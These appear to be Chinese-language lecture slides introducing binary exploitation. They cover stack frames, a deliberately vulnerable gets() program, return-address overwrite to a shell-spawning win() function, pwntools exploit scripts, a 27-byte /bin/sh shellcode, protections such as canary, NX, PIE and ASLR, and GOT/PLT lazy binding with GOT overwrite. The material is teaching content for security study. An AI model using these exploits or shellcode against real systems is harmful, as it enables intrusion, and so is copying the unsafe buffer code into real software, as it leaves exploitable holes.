講師: ItisCaleb
PWN 或是稱作 Binary Exploitation
是從機器語言以及記憶體層面去駭入系統
Stack
saved rbp
rsp
stack frame 1
saved rip
saved rbp
rbp
stack frame 2
#include <stdio.h>
int main(){
char name[40];
fgets(name, 100, stdin);
printf("Hello %s!", name);
return 0;
}
Stack
rsp
saved rip
saved rbp
rbp
Larry\n\0
A*100?
Stack
rsp
0x41414141
0x41414141
rbp
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
Segmentation fault
#include <stdio.h>
//gcc prog.c -o prog -no-pie -fno-stack-protector
void win(){
execve("/bin/sh",NULL,NULL);
}
void lol(){
char name[0x20];
gets(name);
printf("Hello %s!\n",name);
}
int main(){
//just init things
setvbuf(stdout, NULL, _IONBF, 0);
lol();
return 0;
}
00000000004011ba <lol>:
4011ba: f3 0f 1e fa endbr64
4011be: 55 push rbp
4011bf: 48 89 e5 mov rbp,rsp
4011c2: 48 83 ec 20 sub rsp,0x20
4011c6: 48 8d 45 e0 lea rax,[rbp-0x20]
4011ca: 48 89 c7 mov rdi,rax
4011cd: b8 00 00 00 00 mov eax,0x0
4011d2: e8 b9 fe ff ff call 401090 <gets@plt>
4011d7: 48 8d 45 e0 lea rax,[rbp-0x20]
4011db: 48 89 c6 mov rsi,rax
4011de: 48 8d 05 27 0e 00 00 lea rax,[rip+0xe27] # 40200c <_IO_stdin_used+0xc>
4011e5: 48 89 c7 mov rdi,rax
4011e8: b8 00 00 00 00 mov eax,0x0
4011ed: e8 7e fe ff ff call 401070 <printf@plt>
4011f2: 90 nop
4011f3: c9 leave
4011f4: c3 ret
0000000000401196 <win>:
401196: f3 0f 1e fa endbr64
40119a: 55 push rbp
40119b: 48 89 e5 mov rbp,rsp
40119e: ba 00 00 00 00 mov edx,0x0
4011a3: be 00 00 00 00 mov esi,0x0
4011a8: 48 8d 05 55 0e 00 00 lea rax,[rip+0xe55] # 402004 <_IO_stdin_used+0x4>
4011af: 48 89 c7 mov rdi,rax
4011b2: e8 c9 fe ff ff call 401080 <execve@plt>
4011b7: 90 nop
4011b8: 5d pop rbp
4011b9: c3 ret
Stack
rsp
0x00401196
0x41414141
rbp
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
AAAAAAAA
ret = pop rip
from pwn import *
context(arch = 'i386', os = 'linux')
r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()
函式 | 功能 |
---|---|
process | 執行程式 |
remote | 發起 tcp 連線 (nc) |
send | 送出 bytes |
sendline | 送出 bytes,結尾加上換行\n |
recv | 接收指定數目的字元 |
recvuntil | 接收到指定的bytes才繼續執行 |
recvline | 接收一行 |
interactive | 手動模式 |
from pwn import *
context(arch = 'i386', os = 'linux')
r = process('./prog')
# buf + rbp
r.send(b"A"*0x20+b"A"*0x8)
r.sendline(p64(0x401196))
r.interactive()
工具 | 作用 |
---|---|
checksec | 檢查保護機制 |
cyclic | 生成 patterns |
RBP 之前會塞一個 canary 值,在函式結束時會檢查是否蓋到,若會直接 abort
可寫的記憶體不可執行,可以執行的記憶體不可寫
Code r-x
Stack rw-
關掉 NX
每次程式(各區段)載入都會載入到隨機位置,編譯出來的程式碼的地址只會有 offset
跟 PIE 很像,同樣是記憶體區塊隨機化,但不太一樣的是 ASLR 是作業系統層面的,把如動態函式庫之類的區塊也隨機化
需求: 知道 buffer 位置,且可執行
若是程式碼裡沒有可以直接利用的函式,我們何不直接加一個進去?
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
Execute /bin/sh - 27 bytes
做法就是在 buffer 塞入我們的機器碼之後,再讓程式 return 到我們 buffer 的地址
Stack
rsp
0x7fffffffde30
0x41414141
rbp
shellcode
0x7fffffffde30
shellcode
shellcode
shellcode
AAAAAAAA
使用動態函式庫的程式在編譯期間並不知道函式庫中函式的位置
也因此使用到 Lazy binding 的機制來讓函式在第一次執行時才載入對應函式的位置
不在程式被載入時就載入所有對應函式的位置的原因是並不是所有函式都會被使用到
原理是當程式呼叫到函式庫函式時,透過 kernel 去尋找該函式的位址,並填入程式本身的 GOT 表,後續使用便直接從 GOT 表尋找
一開始 GOT 表填入的皆是函式的plt+6的位址
接著便跳轉到 .plt 區塊,然後使用 _dl_runtime_resolve_xsave 來獲取函式的位址
最後填回 GOT 表
0000000000401020 <.plt>:
401020: push QWORD PTR [rip+0x2fca] # 403ff0 <got+0x8>
401026: jmp QWORD PTR [rip+0x2fcc] # 403ff8 <got+0x10>
0000000000401040 <gets@plt>:
401040: jmp QWORD PTR [rip+0x2fc2] # 404008 <gets@got>
401046: push 0x1
40104b: jmp 401020 <.plt>
...
401159: call 401040 <gets@plt> <------
...
401165: call 401040 <gets@plt>
printf@plt+6 | gets@plt+6 |
setvbuf@plt+6 | |
GOT
0x404000
0x404010
0x404020
0000000000401020 <.plt>:
401020: push QWORD PTR [rip+0x2fca] # 403ff0 <got+0x8>
401026: jmp QWORD PTR [rip+0x2fcc] # 403ff8 <got+0x10>
0000000000401040 <gets@plt>:
401040: jmp QWORD PTR [rip+0x2fc2] # 404008 <gets@got> <------
401046: push 0x1
40104b: jmp 401020 <.plt>
...
401159: call 401040 <gets@plt>
...
401165: call 401040 <gets@plt>
printf@plt+6 | gets@plt+6 |
setvbuf@plt+6 | |
GOT
0x404000
0x404010
0x404020
0000000000401020 <.plt>:
401020: push QWORD PTR [rip+0x2fca] # 403ff0 <got+0x8>
401026: jmp QWORD PTR [rip+0x2fcc] # 403ff8 <got+0x10>
0000000000401040 <gets@plt>:
401040: jmp QWORD PTR [rip+0x2fc2] # 404008 <gets@got>
401046: push 0x1 <------------
40104b: jmp 401020 <.plt>
...
401159: call 401040 <gets@plt>
...
401165: call 401040 <gets@plt>
printf@plt+6 | gets@plt+6 |
setvbuf@plt+6 | |
GOT
0x404000
0x404010
0x404020
0000000000401020 <.plt>:
401020: push QWORD PTR [rip+0x2fca] # 403ff0 <got+0x8>
401026: jmp QWORD PTR [rip+0x2fcc] # 403ff8 <got+0x10> <------
# jump to _dl_runtime_resolve_xsave
0000000000401040 <gets@plt>:
401040: jmp QWORD PTR [rip+0x2fc2] # 404008 <gets@got>
401046: push 0x1
40104b: jmp 401020 <.plt>
...
401159: call 401040 <gets@plt>
...
401165: call 401040 <gets@plt>
printf@plt+6 | gets@plt+6 |
setvbuf@plt+6 | |
GOT
0x404000
0x404010
0x404020
0000000000401020 <.plt>:
401020: push QWORD PTR [rip+0x2fca] # 403ff0 <got+0x8>
401026: jmp QWORD PTR [rip+0x2fcc] # 403ff8 <got+0x10>
0000000000401040 <gets@plt>:
401040: jmp QWORD PTR [rip+0x2fc2] # 404008 <gets@got>
401046: push 0x1
40104b: jmp 401020 <.plt>
...
401159: call 401040 <gets@plt>
... <-----
401165: call 401040 <gets@plt>
printf@plt+6 | <_IO_gets> |
setvbuf@plt+6 | |
GOT
0x404000
0x404010
0x404020
0000000000401020 <.plt>:
401020: push QWORD PTR [rip+0x2fca] # 403ff0 <got+0x8>
401026: jmp QWORD PTR [rip+0x2fcc] # 403ff8 <got+0x10>
0000000000401040 <gets@plt>:
401040: jmp QWORD PTR [rip+0x2fc2] # 404008 <gets@got>
401046: push 0x1
40104b: jmp 401020 <.plt>
...
401159: call 401040 <gets@plt>
...
401165: call 401040 <gets@plt> <-----
printf@plt+6 | <_IO_gets> |
setvbuf@plt+6 | |
GOT
0x404000
0x404010
0x404020
0000000000401020 <.plt>:
401020: push QWORD PTR [rip+0x2fca] # 403ff0 <got+0x8>
401026: jmp QWORD PTR [rip+0x2fcc] # 403ff8 <got+0x10>
0000000000401040 <gets@plt>:
401040: jmp QWORD PTR [rip+0x2fc2] # 404008 <gets@got> <-----
401046: push 0x1
40104b: jmp 401020 <.plt>
...
401159: call 401040 <gets@plt>
...
401165: call 401040 <gets@plt>
printf@plt+6 | <_IO_gets> |
setvbuf@plt+6 | |
GOT
0x404000
0x404010
0x404020
GLIBC
由於必須要動態載入位址,所以 GOT 表的記憶體位址是可寫的
如果有任意記憶體寫入的漏洞,我們則可以直接寫入指定函式的 GOT 表,而之後呼叫該函式時便會跳到我們指定的記憶體位置